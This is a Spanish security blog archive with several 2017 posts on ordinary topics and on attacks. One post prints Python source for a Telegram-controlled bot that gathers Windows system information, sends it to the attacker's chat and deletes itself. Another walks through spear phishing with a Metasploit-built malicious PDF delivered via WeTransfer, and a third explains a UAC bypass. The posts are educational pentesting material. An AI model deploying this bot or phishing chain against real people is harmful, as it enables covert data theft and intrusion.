martes, enero 31, 2017

Usar bots de Telegram para crear una Botnet controlada con un chat #Telegram

Un día descubrí los bots de Telegram y empecé a probar los servicios que ofrecían. Me di cuenta que nos permiten hacer un montón de cosas, cosas que pueden ser buenas o que alguien podría tornar en maliciosas para manejar remotamente un malware, al estilo de otros que han utilizado Twitter o Gmail.

Figura 1: Usar bots de Telegram para crear una botnet controlada con un chat

Un bot de Telegram, básicamente, es un programa corriendo en un equipo que realizará las acciones que nosotros le solicitemos a través de mensajes (palabras clave) enviados desde nuestra cuenta de Telegram por un chat. De esto ya vimos por aquí como se podía integrar un bot de Telegram con un sistema de control basado en una topología de Sinfonier gestionada por Latch.

Figura 2: Bot de Telegram controlado con Sinfonier y Latch

Yo he decidido hacer uso de esta tecnología para hacer control de acciones que podría tener que hacer un pentester. Así podría hacer las tareas de auditoría de forma remota bajo demanda. Por ejemplo, aquí podemos ver un bot que ejecutará Nmap y nos pasará el resultado a nuestro Telegram al enviarle una dirección IP:

Figura 3: Un bot que lanza Nmap controlado por un chat de Telegram

Por supuesto, si en lugar de controlar acciones de pentesting, se conectara a un malware, podríamos tener un sistema en el que se utilicen los bots de Telegram para, a través de un chat, tener un C&C para gestionar una botnet.

En esta entrada veremos cómo se puede hacer un bot que recopile información de un sistema Windows infectado (para luego utilizarla junto a algún sistema tipo Windows Exploit Suggester), nos la envíe en un fichero .doc y que luego podamos eliminarlo - como ejemplo del tipo de acciones que se pueden hacer -. Por supuesto, cuanto más fortificado esté el sistema Windows más difícil será meter un malware como éste.

¿Cuáles son las ventajas que nos ofrecen los bots?

Al utilizar Telegram como canal de comunicación con el C&C podemos aprovecharnos del cifrado de conexión al chat, además de poder utilizar cuentas anónimas creadas para la ocasión que van a ser usadas desde cualquier ubicación, por lo que daría a un atacante un entorno altamente disponible, con un cierto grado de anonimato y una capa de cifrado en la comunicación que ya viene por defecto. Eso sí, recuerda que hay determinadas acciones que se pueden hacer para "vigilar" las cuentas de Telegram que debes tener en cuenta.

Figura 4: Es posible saber cuándo una cuenta está activa o no en Telegram

No me voy a enfocar en cuál es el proceso completo para crear un bot ni en la explicación sobre la programación de los bots en Telegram, pero sí que os dejo los enlaces a los artículos que yo he utilizado para aprender a hacerlos:
- Instrucciones sobre la creación de un bot en Telegram
- APIs de los bots de Telegram
- Creando un bot con el API de Telegram
Lo que si voy a explicar son las líneas de código de nuestro bot de ejemplo para que se comprenda su funcionamiento. Para ello, además de utilizar Telegram y las APIs de los bots de Telegram vamos a hacer uso de la API que Python tiene para controlar los bots de Telegram.

Figura 5: PyTelegramBotAPI en GitHub

A continuación se muestran unos diagramas de lo que hace nuestro bot, para entender parte del proceso que se ha construido en esta PoC (Proof of Concept) en tres partes distintas.

Figura 6: Primera parte "conexión y recolección de información"
(1) Una vez iniciado, el bot envía el mensaje “I´m ready” al server de Telegram.
(2) El atacante recibe el mensaje que le permite saber que el bot se ha ejecutado.
(3) El atacante envía el mensaje “/systeminfo” para pedir al bot que comience a recabar información.
(4) El bot recibe el mensaje.
(5) Ejecuta el comando systeminfo y lo guarda en sys.doc
Figura 7: Segunda parte "recolección del archivo con datos"
(1) El atacante envía el comando “/data” solicitando el archivo sys.doc.
(2) El bot recibe el mensaje.
(3) El bot envía el archivo sys.doc.
(4) El atacante recibe el archivo.
Figura 8: Tercera parte "Eliminación del fichero y el bot"
(1) El atacante envía el comando “/suicide” para pedir al bot que se elimine.
(2) El bot recibe el mensaje.
(3) El bot borra el archivo sys.doc que creó y luego se autoelimina.
(4) El bot envía un mensaje para informar que se ha realizado lo pedido.
(5) El atacante recibe el mensaje confirmando la eliminación del bot y su archivo.
El script de nuestro bot pueden descargarlo desde mi sitio en Google Sites "Mama quiero ser pentester". Esta bajo el nombre de malbot.py

Figura 9: Código fuente del bot de Telegram de ejemplo

Lo primero que veremos al abrir el archivo será:
import telebot
import os
Estas son las lineas en las que importamos el módulo de Python arriba mencionado y el módulo para ejecutar comandos del sistema operativo. Luego veremos:
token = "TU_TOKEN_AQUI"
bot = telebot.TeleBot(token)
Como podrán deducir, aquí definimos nuestro token (previamente obtenido al crear nuestro bot desde Telegram) para interactuar con la API y creamos el objeto "bot". Luego sigue:
text='Im Ready!'
bot.send_message('TU_CHAT_ID', text)
Esto nos enviará un mensaje cuando el bot sea ejecutado. Donde dice SU_CHAT_ID deben agregar el número de identificación de chat que les devolverá al ingresar lo siguiente en el navegador:
https://api.telegram.org/botSU_TOKEN_AQUI/getUpdates
El proceso anterior, por supuesto, puede automatizarse en un entorno real, pero para el Spaghetti Code de esta PoC es suficiente con hacerlo de manera manual. Continuando, veremos lo siguiente:
@bot.message_handler(commands=['systeminfo'])
def send_welcome(message):
os.system('systeminfo > sys.doc')
@bot.message_handler(commands=['data'])
def enviar_doc(message):
doc = open('sys.doc','rb')
bot.send_document('TU_CHAT_ID', doc)
En las líneas de arriba, primero definimos la función que se va a encargar de realizar la recopilación de información del sistema y la guardará en un archivo .doc cuando le pasemos la orden "systeminfo". En segundo lugar, definimos la función que nos enviará el archivo al mandarle la instrucción "data". Luego tenemos:
@bot.message_handler(commands=['suicide'])
def send_welcome(message):
bot.send_message('TU_CHAT_ID', 'It was an honour')
os.system('del sys.doc')
os.system('del secbot.py')
En esas líneas le estamos diciendo al bot (de un modo un poco dramático) que se auto-elimine previo borrado del archivo sys.doc. Por último, para iniciar nuestro bot debemos agregar:
bot.polling(none_stop=False, interval=0)
Les dejo un video con nuestra PoC del bot en acción:

Figura 10: Utilizando un bot de Telegram para recopilar información de Windows

En este caso se está utilizando Python para la ejecución (lo cual no serviría de mucho si el usuario no tiene instalado el intérprete) pero la idea sería convertirlo en un ejecutable (con py2exe por ejemplo) para poder empaquetar y mandar a nuestra víctima. En cualquier caso, como malware este ejemplo es bastante sencillo, ya que lo que pretende es mostrar cómo se pueden usar los bots de Telegram como C&C de cualquier botnet, como ya se ha visto en algunos casos en el pasado.

Saludos y... Happy Bot Hacking!

Autor: Alejandro Fanjul

lunes, enero 30, 2017

Wetransfer como herramienta de Spear Phishing para realizar APTs

Un vector de ataque para realizar un APT (Advanced Persistent Threat) a los miembros de una organización, suele ser utilizar técnicas de Spear Phishing apoyándose en el correo electrónico corporativo de la organización. A veces se aprovechan de la ingenuidad de las víctimas, propensas como ya hemos visto muchas veces, a confiar ciegamente en los mensajes que vienen por el correo electrónico.

Figura 1: WeTransfer como herramienta de Spear Phishing para realizar APTs

Si además las protecciones del correo electrónico no están bien configuradas, ya sea porque el filtro SPF (Sender Policy Framework) presenta una configuración laxa tipo Softfail (~all) no clasificando de manera correcta los correos que son enviados desde servidores no autorizados, o porque el cliente no soporta la verificación DKIM y no se discriminan positivamente los mensajes enviados desde los servidores legítimos, las probabilidades de que el APT sobre la organización sea exitoso aumentan.

Figura 2: Configuración "Softfail" del filtro SPF para prevenir el spoofing

En este artículo se realizará una pequeña prueba de concepto para demostrar lo fácil que sigue siendo hoy en día distribuir malware a través del correo corporativo de una organización empleando técnicas de Spear Phishing, en este caso usando un servicio muy popular para la transferencia de ficheros que está abierto en casi todas las organizaciones para que sus empleados reciban ficheros enviados desde personal externo de la organización.

Obtención de las cuentas de correo electrónico de la organización

Hoy en día, obtener cuentas de correo corporativas de una organización es una tarea muy sencilla. Basta utilizar herramientas como theharvester o realizar un poco de “Hacking con buscadores” para obtenerlas.

Figura 3: Obtención de cuentas de e-mail mediante "The Harvester"

Otra fuente para obtener las cuentas de correo corporativas son los servidores de claves públicas PGP para cifrar el correo electrónico (theharvester por defecto también busca en estos repositorios).

Figura 4: Cuentas de e-mail presentes en servidores de claves públicas PGP

Obtención del malware

Una vez que tenemos las cuentas de correo electrónico de la organización, el siguiente paso es obtener el malware a distribuir entre los miembros de la organización. En esta prueba se ha utilizado Metasploit para crea un fichero PDF malicioso. El objetivo de la prueba no es crear un ransomware sofisticado, sino demostrar cómo herramientas actuales de almacenamiento en la nube, no analizan el fichero adjunto antes de enviarlo y almacenarlo, y cómo tampoco verifican la identidad de una cuenta de correo electrónico antes de mandar al destinatario el mensaje con el fichero adjunto infectado. Un cóctel perfecto para realizar un ataque de Spear Phishing.

Figura 5: Carga del módulo Adobe PDF Embedded EXE de Metasploit

Construimos nuestro fichero PDF malicioso haciendo uso del módulo “Adobe PDF Embedded EXE”.

FIgura 6: Configuración y generación del archivo PDF malicioso con Metasploit

Analizando el archivo PDF generado con el servicio VirusTotal, podemos ver cómo 36 de sus 54 motores de detección de malware, clasifican este fichero PDF como malicioso.

Figura 7: Análisis y clasificación del fichero PDF con VirusTotal

Distribución del fichero PDF malicioso sobre las cuentas de e-mail de la organización

El último paso será la distribución del fichero PDF sobre los miembros de la organización empleando para ello sus cuentas de correo. Parece claro que necesitamos una herramienta para realizar la suplantación o "spoofing" de las cuentas de correo electrónico, aunque éste cuente con las protecciones de tipo SPF o DKIM comentadas al principio del artículo.

Realizaremos la prueba sobre una dirección de correo electrónico corporativo que cuenta con protección SPF, para ver lo sencillo que resulta saltar este tipo de protección a la hora de realizar un ataque de Spear Phishing.

Figura 8: Filtro SPF con "hardfail" activo para evitar suplantación de sus direcciones de e-mail

La herramienta utilizada para realizar la distribución del PDF malicioso, utilizar las cuentas de correo electrónico de la organización y evitar pasar por los filtros SPF y DKIM del servidor de correo electrónico será WeTransfer, en su versión gratuita.

Figura 9: WeTransfer utilizada como herramienta de Spear Phishing

Consultando la bandeja de entrada del correo electrónico, puede comprobarse cómo no ha sido clasificado como spam y el mensaje se ha colado en la bandeja de entrada a pesar de que tenemos activo el filtro SPF para evitar que lleguen correos electrónico con la dirección del centrodonbosco.es sin que vengan desde uno de los servidores autorizados para ello en el registro SPF.

Figura 10: El mensaje entra en el servidor de correo de Office 365 que hospeda nuestro dominio

Esto es así porque como se puede ver, el mensaje no está enviado por ningún dominio de centrodonbosco.es, sino desde noreply@wetransfer.com. Nada extraño que la tecnología SPF no diga nada, pues todo está en regla. Eso sí, si el usuario no se fija bien en el mensaje puede llegar a pensar que la dirección utilizada para enviar este mensaje es del centrodonbosco.es y dependiendo del cliente de e-mail será más o menos fácil hacerle creer eso.

Como todo está en regla, también es posible la descarga del fichero PDF malicioso que se envía como enlace en el correo electrónico, simplemente haciendo clic en el enlace, ya que WeTransfer no se preocupa para nada en evaluar la seguridad o no del fichero transferido por su sistema. Puedes enviar malware o exploits por medio de este servicio.

Figura 11: Descarga del fichero malicioso por parte de la víctima

Conclusiones

Tras realizar esta pequeña prueba de concepto, queda de manifiesto lo siguiente:
WeTransfer parece no analizar los adjuntos antes de mandarlos al destinatario, lo que convierte a esta herramienta en ideal para la distribución de malware o esquemas de Spear Phishing. 
WeTransfer no hace una comprobación previa del remitente del correo para ver si éste es realmente quién dice ser. Con el envío de una simple confirmación al remitente del correo antes de que éste se envíe, sería suficiente. Una vez más, usabilidad en lugar de seguridad. 
• Junto con lo anterior, WeTransfer “permite evadir” los sistemas de protección SPF y DKIM, ya que los clientes de correo, al comprobar la dirección del servidor desde el que ha salido el correo electrónico analizando la cabecera del correo, comprueban cómo realmente la dirección IP de la cabecera coincide con la del servidor de correo de WeTransfer. Además, la verificación de la firma digital para evitar la suplantación del servidor de correo electrónico también es correcta, lo que permite que el correo electrónico sea descartado o clasificado como Spam. Dependerá del cliente de e-mail y el conocimiento del destinatario de cómo funcionan estas tecnologías.
Figura 11: Cabecera del e-mail con verificación SPF de WeTransfer
• Se comprueba cómo la configuración del filtro SPF del servidor de correo de WeTransfer presenta una configuración que permite suplantar las cuentas de correo bajo el nombre de dominio @wetransfer.com, lo que abre la puerta a los ataques de suplantación del propio WeTransfer. Para un atacante sería más sencillo suplantar el formato de los correos de WeTransfer.
Figura 12: Configuración "Softfail" para el dominio WeTransfer

Autor: Amador Aparicio de la Fuente (@amadapa) escritor del libor "Hacking de tecnologías Web"

PD: las pruebas han sido realizadas con la “versión free”. Desconozco si los resultados hubieran sido los mismos en la “versión Plus”

domingo, enero 29, 2017

El latido del corazón de mi vida

Hoy no he sacado mi artículo a tiempo por la mañana. A pesar de haber puesto mi despertador a las 7 A.M. - aún siendo un domingo - los quehaceres del día no me han permitido tener listo el artículo a tiempo. Tampoco pude hacerlo ayer por la noche, pese a que tuve algo más de tiempo. Los días son como son. Unos te dan tiempo, otros te lo quitan. Unos días se acumula el cansancio, otros la energía rebosa.

Figura 1: El latido del corazón de mi vida

No he sacado el artículo por la mañana, pero aún así he querido sacarlo por la tarde pues el blog es lo que marca mi ritmo de vida. Es el latido del corazón de mi existencia. No importa si me están pasando cosas buenas - que de esas tengo muchas - o estoy en situaciones no deseadas - que como todo ser humano también las sufro -.  Al final, como os he dicho muchas veces, eso es lo que es para mí la vida. Que te pasen cosas buenas y malas hasta que ya no te pasa nada. Me pase lo que me pase, no dejo que el latido mi vida se pare.

Un amigo mío dice que cada persona tiene que tener sus "anclas". Es decir, las cosas a las que agarrarse cuando la marea de la vida te lleva. Para unos son sus hijos, para otros es su trabajo, para otros el deporte o una combinación de todas ellas. Para cada cual lo suyo. Yo, dentro de la combinación de cosas que me mantienen cuerdo, tengo a mi blog. A él me aferro para que me marque el ritmo de vida. Incluso cuando he hecho los parones invernales ha sido teniendo que hacer un esfuerzo para no publicar y recordando cada día que hoy debía estar publicando. Forzándome para no abrir esta página en blanco y contaros algo.

A veces - que suele ser la mayoría de las ocasiones - escribo para todos los lectores, otras veces escribo para mí y alguna que otra vez solo para alguien en concreto que leyendo entre líneas es capaz de sacar el mensaje oculto que he dejado en el texto. Alguien que a veces ni existe, o que dejó de existir. No. Hoy no hay nada oculto en este texto. Solo una explicación a lo que muchas veces me preguntan: ¿Cómo eres capaz de escribir todos los días?

Como os dije por Twitter, este blog acaba de hacer once años. Es decir, ya voy camino de una docena de ciclos en los que llevo poniendo letras y letras, páginas y páginas, de cosas que tienen que ver conmigo, contigo, con la tecnología o solo con el mundo que me rodea.

¿Qué hacías tú hace once años? ¿Te acuerdas de cómo eras tú hace tanto tiempo?  Yo he cambiado mucho y no he cambiado nada. El mundo alrededor se ha movido y me han pasado cosas buenas y cosas malas. He seguido viviendo pese a todo y gracias a todo. Ha seguido latiendo mi corazón, y lo has visto tú, aquí, cada día, en los textos de este blog. Y espero que siga así.

No sé que publicaré mañana, como no sabía que iba a publicar hoy, pero seguro que cuando me levante a las 6 A.M. (que entre semana madrugo un poco más), abriré esta página para contaros algo. No sé que será, esperaré a ver cómo late mi vida y cómo me hace sentir el mundo cuando abra la página en blanco mañana... 

Saludos Malignos!

sábado, enero 28, 2017

7 eventos de #BigData y Seguridad para la semana que viene @0xWord @elevenpaths @Luca_d3

La semana que entra ya se nos cae encima el mes de Febrero y según avanza el año vamos teniendo cada vez más actividades. La semana que vienen cuenta con hasta siete actividades en las que vamos a participar desde ElevenPaths, LUCA, 0xWord y Telefónica, así que os dejo por aquí el calendario de lo que viene.

Figura 1: 7 eventos de Big Data y Seguridad para la semana que viene

Como podéis ver, hay muchas actividades online con lo que podéis participar todos. Hay un par de eventos que son presenciales únicamente, y yo estaré en uno de ellos. Concretamente el viernes 3 de Febrero en Jaén.

Lunes 30 de Enero: BigData y análisis de movilidad [Online]

Con el comienzo de este año lanzamos una nueva campaña de divulgación tecnológica gratuita a través de Internet. Las hemos llamado LUCA Talks y el objetivo es enseña cómo las tecnologías de BigData se pueden aplicar a solucionar muchos de los problemas de hoy en día o cómo se pueden utilizar para mejorar servicios ya existentes e incluso crear nuevos. 

Figura 2: LUCA Talk: Utilizando Big Data para entender la movilidad y la contaminación

El primero será este mismo lunes a través de Internet (no importa de qué país del mundo seas) a partir de las 16:00 horas [CET] y estará centrado en el análisis de datos de tráfico con tecnologías BigData. Puedes registrarte para asistir en esta web: Utilizando el Big Data para entender la movilidad y la contaminación

Lunes 30 de Enero: Hacking con Python [Online]

Desde la plataforma de formación de The Security Sentinel se lanza una nueva oportunidad en crecer en el uso de Python para el mundo del pentesting y el hacking. Es una formación que toca temas avanzados y que tiene 90 horas de formación.

Figura 3: Curso Online de Hacking con Python

A todos los alumnos de esta formación se les entrega como acompañamiento del curso el libro  de 0xWord titulado "Hacking con Python", que cubre los contenidos de este curso. Puedes apuntarte en la web del Curso Online de Hacking con Python.

Martes 31 de Enero: Pentesting con PowerShell [Online]

También el martes puedes comenzar el curso de Pentesting con PowerShell de HackersClub. Es una formación de 15 horas en vídeo con muchas prácticas que puedes hacer paso a paso y que cubre el uso avanzado de PowerShell para hacer auditorías de seguridad.

Figura 4: Curso Online de Pentesting con PowerShell

El profesor es Pablo González (@pablogonzalezpe) y además se entrega como material del curso el libro de 0xWord que escribió él mismo "Pentesting con PowerShell". Para apuntarte a este curso ve a la web de HackersClub.

1 de Febrero: Seguridad en WordPress [Online]

El escritor del libro "Máxima Seguridad en WordPress", nuestro amigo Daniel Maldonado. Va a dictar una charla online gratuita que recoge algunos de los temas que se tratan en el libro de 0xWord.

Figura 5: Charla Online de Seguridad en WordPress

La charla será el día 1 de Febrero a las 15:00 horas de Argentina [UTC-3], es gratuita, pero debes registrarte previamente en la web para asistir. Más información aquí.

2 y 3 de Febrero: Predictive Business Analytics and Data Management [Milán]

Con nuestra unidad LUCA, participaremos en el congreso dedicado al uso de las tecnologías BigData para mejorar el análisis del negocio.

Figura 6: Predictivie Business Analysis & Data Management Forum en Milán

Es un evento presencial que tiene lugar en Italia, al que puedes asistir si te interesan las presentaciones que van a tener lugar. Más información en la web del congreso

3 de Febrero: Global Women in Data Science [Online]

Desde el equipo de LUCA, nuestra compañera Carme Artigas participará en este evento que pretende ayudar al mundo de los Data Scientist en general y apoyar a las mujeres que participan en esta profesión, empujando día a día los límites de esta disciplina tan reciente. Toda la información del evento la tienes en su web: Global Women in Data Science

Figura 7: Global Women in Data Science

Puedes seguir el evento en Live Streaming, así que apúntatelo en la agenda y accede a esta URL el día del evento: LiveStreaming Global Women in Data Science

3 de Febrero: Hack Your Future [Universidad de Jaén]

Para terminar esta lista de eventos, os dejo información del último de la semana, que impartiré yo mismo en la Universidad de Jaén, en concreto en la Escuela Politécnica Superior que se encuentra en Linares.

Figura 8: Universidad Politécnica Superior de Linares

Será un evento para hablar con los estudiantes y compartir mis experiencias profesionales y tal vez algunos consejos, como los que di en la charla de Hack Your Future. No está online el registro todavía, pero si eres de Jaén, Linares, o estudiante de la zona y quieres venir, estáte atento que el aforo está limitado.

Saludos Malignos!

viernes, enero 27, 2017

Google dice: "Este sitio puede haber sido hackeado" & “Este otro te puede hacer daño"

Desde los equipos de seguridad de Google tratan de evitar que los usuarios que navegan con Chrome se vean afectados con un problema de seguridad cuando visitan un sitio web que haya podido ser hackeado. Un servidor vulnerado puede tener alojar una página web para hacer un ataque de phishing, tener instalado un kit de exploits e infectar con un malware el equipo del usuario o simplemente haber sido utilizado para hacer una campaña de BlackSEO.

Figura 1: Google dice...

Estas opciones que están en Google Chrome, ahora también están disponibles en el buscador, por lo que puedes encontrarte un mensaje a la hora de buscar que diga exactamente eso, que éste sito ha podido ser hackeado. Yo me lo encontré mientras buscaba información sobre las tecnologías de Chip Racing, y en el primer resultado me apareció el mensaje.

Figura 2: Alerta de "This site may be hacked"
Si haces clic en el mensaje que aparece debajo, Google lo explica tal y como os he contado. Parece que las páginas de esta web han cambiado y pueden tener áreas spam, phishing o malware, por lo que a la vez que se recomienda al visitante que no la visite.

Figura 3: Información de la alerta "This site may be hacked"

Al mismo tiempo, la alerta da recomendaciones para los dueños del sitio web, con el objeto de que corrijan los problemas de seguridad que hayan sufrido y puedan quitar esa alerta, que sin duda les va a quitar tráfico de posibles visitantes.

Figura 4: Cómo eliminar este mensaje de las búsquedas de Google

No es esta la única advertencia que hace Google, pues también es posible toparte con una advertencia que dice "Este sitio puede dañar tu computadora". En este caso la cosa es que el sitio está instalando o intentando instalar software malicioso en el equipo.

Figura 5: Mensaje "This site may harm your computer"

La lista de las acciones son las típicas que se deben seguir después de cualquier intrusión, es decir, revisar qué ha pasado, solucionar la vulnerabilidad que haya podido ser utilizada para vulnerar el sitio, limpiar el servidor completamente, tomar medidas de fortificación que eviten  en lo posible que esto vuelva a suceder y solicitar a Google que re-evalúe el sito para que una vez que se determine que está limpio elimine el mensaje que aparece en el buscador.

Figura 6: Siete pasos para arreglar el problema

Sin embargo, que no aparezca este mensaje, o el mensaje de que este sitio ha sido hackeado no quiere decir que el sitio sea 100% seguro, así que no hay que tomarlo de esa forma ni mucho menso. Basta con hacer una prueba para ver si estás "jodido por la viagra", y comprobar que en los dominios .es hay muchos sitios que están vulnerados y Google no muestra ninguna advertencia.

Figura 7: Lista de sitios infectados con la viagra

Al final, todas estas alertas son buenas y dan ayuda, pero no evitan que tu tengas que hacer tu trabajo de fortificación de Windows y de fortificación de Linux para evitar un ataque proveniente de una web que ha sido hackeada, que desde hace mucho tiempo se sabe que es un negocio muy lucrativo para el cibercrimen.

Saludos Malignos!

jueves, enero 26, 2017

Bitcoin: La tecnología Blockchain y su investigación. Nuevo libro de @0xWord

Hoy tenemos un nuevo libro dentro de la colección de títulos que forman el catálogo de 0xWord. En este caso, uno dedicado a la criptomoneda Bitcoin y la tecnología Blockchain que hay detrás de ella. Ha sido escrito por nuestros compañeros de ElevenPaths Felix Brezo y Yaiza Rubio, que forman parte del equipo de investigación de ciberseguridad que está detrás de muchos de nuestros informes que habitualmente puedes leer en Cibershot, Avatar y Discovers.

Figura 1: Nuevo libro de 0xWord dedicado al tecnología Bitcoin & Blockchain

El libro se centra en cómo cualquier persona puede montarse en su casa un entorno de investigación de Bitcoins para poder hacer investigaciones de seguridad. Explica en detalle cómo funciona la tecnología y deja muchas demostraciones de cómo se le puede sacar partido, como cuando escribió el artículo dedicado a investigar los pagos realizados a un determinado monedero de Bitcoins


Figura 2: How I met your e-wallet en RootedCON

Pero como podéis ver en la conferencia que os dejo arriba, Felix y Yaiza llevan años investigando estas tecnologías, y ahora por fin hemos conseguido que lo plasmen en un libro para que cualquiera lo pueda aprender y que desde hoy podréis adquirir.

Figura 3: Libro "Bitcoin: La tecnología blockchain y su investigación"

El contenido detallado del libro lo tenéis en el índice del mismo, que os he subido a SlideShare, para que podáis ver qué partes toca en concreto el título que hace el número 44 de la colección de libros de 0xWord.


Si quieres debatir con ellos, puedes hacerlo también a través de la comunidad de ElevenPaths, donde son dos de los miembros más activos, por lo que no dudes en venir a charlar con nosotros.

Saludos Malignos!

miércoles, enero 25, 2017

Cómo saltarse UAC en WIndows 7 y Windows 10 aprovechándose de WinSxS

WinSxS, Windows Side-by-Side, se introdujo con Windows Server 2008 y es un almacén dónde el sistema contiene componentes de Windows que se pueden utilizar durante las instalaciones o componentes que pueden ser necesarios para la ejecución de una aplicación, por ejemplo, una librería DLL. La gente de FuzzySecurity ha estado investigando sobre un caso de abuso o explotación del mecanismo de protección UAC en Windows. Gracias a este bypass se logra ejecutar código con nivel de integridad alto, es decir, con el máximo privilegio.

Figura 1: Cómos saltarse UAC en Windows 7 & 10 usando WinSxS

Antes de desglosar el bypass vamos a comentar una serie de conceptos que debemos tener claros. Lo primero, sería entender que los procesos creados por el usuario administrador real de la máquina tienen ciertos privilegios que no tienen los procesos creados por los usuarios, aunque pertenezcan al grupo Administrador.  En el instante, en el que un usuario del grupo administrador ejecuta un proceso con “Ejecutar como Administrador” los privilegios serían elevados.

Para ejemplificar esto, en la siguiente imagen hacemos uso de la herramienta Get-TokenPrivs que se puede descargar desde Github útil para hacer Pentesting con Powershell. En la imagen, se puede ver como hay dos ejecuciones de cmd.exe abiertas, una con privilegios elevados y otra sin ellos. Como se puede ver, uno tiene 23 privilegios, incluido el de impersonalización o uso del token SYSTEM, mientas que el otro no.

Figura 2: Ejecución de cmd.exe con dos niveles de privilegios distintos

La utilización del “Ejecutar como Administrador” hace que los usuarios privilegiados puedan realizar acciones diferentes al resto de usuarios. Si evaluamos el uso del sistema operativo por parte de usuarios privilegiados y los que no, la creación de procesos no difiere tanto hasta que los privilegiados utilizan la opción “Ejecutar como Administrador”. En ese instante, el cambio de token requiere que UAC notifique o solicite contraseña, dependiendo de la configuración que haya en la política de seguridad de la máquina.

Figura 3: Opción de Autoelevate a true en el binario wusa.exe

En algunas ocasiones, y dependiendo de la configuración o ajustes de fortificación de Windows que UAC tenga, los programas del sistema se elevan automáticamente si el usuario pertenece al grupo administrador. Estos binarios se pueden identificar observando el manifiesto. Si encontramos la opción AutoElevate con valor igual a Tue, significa que no hay necesidad de pedir la elevación de privilegios, ya que el binario está firmado por Microsoft y debido a esto y a que el usuario es administrador se llevará a cabo la elevación sin solicitar la confirmación.

Figura 4: Opción de Autoelevación solo está disponible en modo "Windows 7"

Esto puede verse como una debilidad, la cual Microsoft configuró para mejorar la usabilidad y las críticas sufridas con UAC en su día al lanzarlo en Windows Vista, y por eso solo está presente de Windows 7 en adelante.

¿Dónde encontraron el fallo?

Analizando diversas aplicaciones firmadas por Microsoft, como es el caso de msra.exe o tcmsetup.exe, se encontraron una operación que realizaba el binario sobre el sistema de archivos en el que se obtenía un resultado NAME NOT FOUND.

Como se puede ver en la imagen, cuando se ejecuta la aplicación tcmsetup.exe se realiza una búsqueda en un directorio que no existe. Analizando las líneas posteriores se ve que se realiza la búsqueda por una DLL, la cual es encontrada en el contenedor WinSxS. De aquí se puede entender que si se lograse crear una DLL maliciosa en la carpeta \Windows\System32\tcmsetup.exe.Local se podría ejecutar dicha DLL y ejecutar código en un nivel de integridad alto, es decir, como Administrator. El binario está firmado por Microsoft, por lo que no hay solicitud de UAC.

Figura 5: Excepción de NAME NOT FOUND

En este punto, está claro que \Windows\System32 es un directorio dónde no se podrá crear dicha carpeta y copiar la DLL maliciosa al directorio. En este punto, se pensó en la auto elevación de los objetos COM. Uno de los objetos COM es muy útil en este caso y es IFileOperation. Este objeto contiene métodos que permiten copiar, mover, eliminar objetos del sistema de archivos como ficheros y carpetas.

El plan es el siguiente: el atacante escriba un DLL que instancia el objeto COM de IFileOperation y ejecuta un método que mueva los archivos al directorio \Windows\System32 o directorio protegido. Para la obtención del objeto COM auto elevado, la DLL se inyecta en un proceso de integridad medio, el cual se ejecuta en un directorio de confianza, posiblemente “explorer.exe”. Se puede encontrar más información en este artículo, realmente interesante.

Hay otra vía, un poco más flexible o sencilla de manejar ésta operativa y es a través de Powershell. Los objetos COM dependen de PSAPI para identificar en qué proceso se están ejecutando. PSAPI analiza el PEB, Process Environment Block, para obtener la información, por lo que un atacante podría sobrescribir el PEB para engañar a PSAPI. Esto se realiza a través de la herramienta Masquerade-PEB en Powershell.

PoC: Bypass UAC con Objetos COM y evitando a WinSxS

Como se vio anteriormente, el problema radica en que la DLL que se intenta cargar está en un directorio que no existe en \Windows\System32, lo cual concatenado con la autoelevación de los objetos COM puede permitirnos lograr mover una DLL maliciosa en dicha carpeta. En el momento de la ejecución de la aplicación legítima, la carpeta y DLL que no eran encontradas, se encontrarán y se ejecutarán, consiguiendo ejecutar código con integridad alta.

Figura 6: Ejecución de bypass UAC con WinSxS con script de FuzzySecurity

Para simplificar esto, los investigadores de FuzzySecurity han hecho un script en Powershell, el cual reúne todo lo necesario para llevar a cabo el bypass de UAC. En la siguiente imagen, se puede ver la ejecución del script y el resultado es una consola de Powershell dónde podemos escribir por ejemplo en la ruta \, lo cual nos indica que ese nuevo proceso se está ejecutando con integridad alta, es decir, como administrador.

¿Dónde poder aprovechar esto?

En las auditorías internas dónde se tenga acceso a una máquina remota y se requiera una elevación de privilegios podemos utilizar éste bypass UAC para lograr un proceso privilegiado, siempre y cuando se cumplan los requisitos. En el siguiente vídeo tienes la demo en funcionamiento.

Figura 7: Bypass de UAC usando WinSxS en Windows 7

Interesante forma de hacer bypass UAC en sistemas Windows desde 7 a 10. Hay que tener en cuenta que existen muchos binarios firmados por Windows y que pueden ser vulnerables a este tipo de técnica, por lo que como siempre os animamos a que echéis un ojo. Os recomiendo que leáis el libro de nuestro compañero y amigo Sergio de los Santos (@ssantosv) para tener Máxima Seguridad en Windows, donde se trata ampliamente este tema desde el punto de vista de la fortificación del sistema.


Figura 8: Bypass de UAC usando WinSxS en Windows 10


Autor: Pablo González Pérez (@pablogonzalezpe)
Escritor de los libros "Metasploit para Pentesters", "Ethical Hacking", "Got Root" y “Pentesting con Powershell

martes, enero 24, 2017

Esta Wi-Fi es de pago para todos menos para los hackers

La historia que os voy a narrar inicia su andadura en un avión rumbo a los Estados Unidos aunque he de decir que mi destino final era un país asiático. Resulta que este vuelo, como muchos vuelos internacionales, tiene un servicio de acceso a Internet de pago, a unos costes que más que megas parece que estés comprando caviar.  Inicialmente no quería pagar el acceso a Internet, pero como iba camino de Estados Unidos pensé que si me ponía a "jugar" en la red del avión con mi Kali Linux y algo salía mal, podría terminal en alguna cárcel del país que ahora gobernará Donald Trump, o con alguna otra consecuencia indeseada.

Figura 1: Esta Wi-Fi es de pago para todos menos para hackers

Con estas, decidí que era mejor apagar mi Kali Linux, arranqué mi equipo con Windows, saque la tarjeta de crédito y pagué como mandan las normas. Por desgracia, la dicha de disfrutar un Internet de alto coste no me duro ni diez minutos y me quedé sin Internet porque, al parecer, perdimos el enlace con el satélite y no hubo Internet ni cuando aterricé. Muy frustrado pasé la aduana, me dirigí al vuelo de transferencia para descubrir que, para más INRI, me encuentro con que mi vuelo de conexión tenía un retraso de cuatro horas más las dos con que ya contaba yo de tiempo entre vuelos.

Figura 2: Treinta minutos de conexión gratis, Luego son 7 dólares.

